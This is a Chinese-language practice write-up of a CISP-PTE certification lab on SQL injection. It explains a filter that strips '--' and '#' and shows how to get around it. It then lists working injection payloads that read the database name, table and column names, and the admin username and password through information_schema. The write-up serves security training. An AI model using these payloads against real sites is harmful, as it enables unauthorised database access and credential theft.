本文仅当作练习记录使用。
开始答题:
注册账号 poi ,在发表出给出过滤代码如下;
// 代码过滤规则 while (strstr($sql,'--')) { $sql = str_replace("--", "", $sql); } while (strstr($sql,'#')) { $sql = str_replace("#", "", $sql); }
函数的作用:
strstr(str1,str2)
函数用于判断字符串str2是否是str1的子串。如果是,则该函数返回 str1字符串从 str2第一次出现的位置开始到 str1结尾的字符串;否则,返回NULL。举例:
<?php
echo strstr("123456","5");?>
意思就是只返回 "123456" 中出现的第一个 "5" 直到结束(显示结果结果为 56)str_replace("--", "", $sql);
意思是将--$sql中的全部替换为 空
str_replace()函数
str_replace(find,replace,string);find 必需。规定要查找的值。
replace 必需。规定替换 find 中的值的值。
string 必需。规定被搜索的字符串。
<?php
echo str_replace("1","2","11111");
?>
意思就是将111111中的1全部替换为2(显示结果为22222)
知道函数的作用之后尝试进行绕过,可利用在线运行PHP攻击进行尝试绕过。
系统没有过滤空格等特殊符号
获取当前数据库:
database',(select database()),'poi') #-#---
获取2web数据库中的所有表:
22',(select group_concat(table_name) from information_schema.tables where table_schema='2web'),'poi')#-#---
获取表中的字段:
column_name',(select group_concat(column_name) from information_schema.columns where table_name='users1'),'poi')#-#---
获取字段 password,username 中的值:
22',(select group_concat(username,'_',password) from users1),'poi')#-#---
想直接获取所有的 password,username 的值但是没有成功---可能由于查询长度过长做了限制。
知道了表明为users1,字段名为password,username;直接select * from 进行查询。
22',(select password from users1 where username='admin'),'poi')#-#---
知识点补充:
information_schema 库存储了其他数据库中的所有信息
tables表 保存了所有的数据库的名称和数据库表的名称等
schemata表 保存了所有的数据库的名称和数据库的编码信息等
columns表 保存了mysql数据库中所有表的信息如:数据库名称、字段名称、字段类型等
schema_name 库名信息
table_name 表名信息
column_name 字段信息文章来源:https://www.toymoban.com/news/detail-666568.htmlgroup_concat() 拼接显示 文章来源地址https://www.toymoban.com/news/detail-666568.html
到了这里,关于CISP-PTE练习篇(基础题目一:SQL注入)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!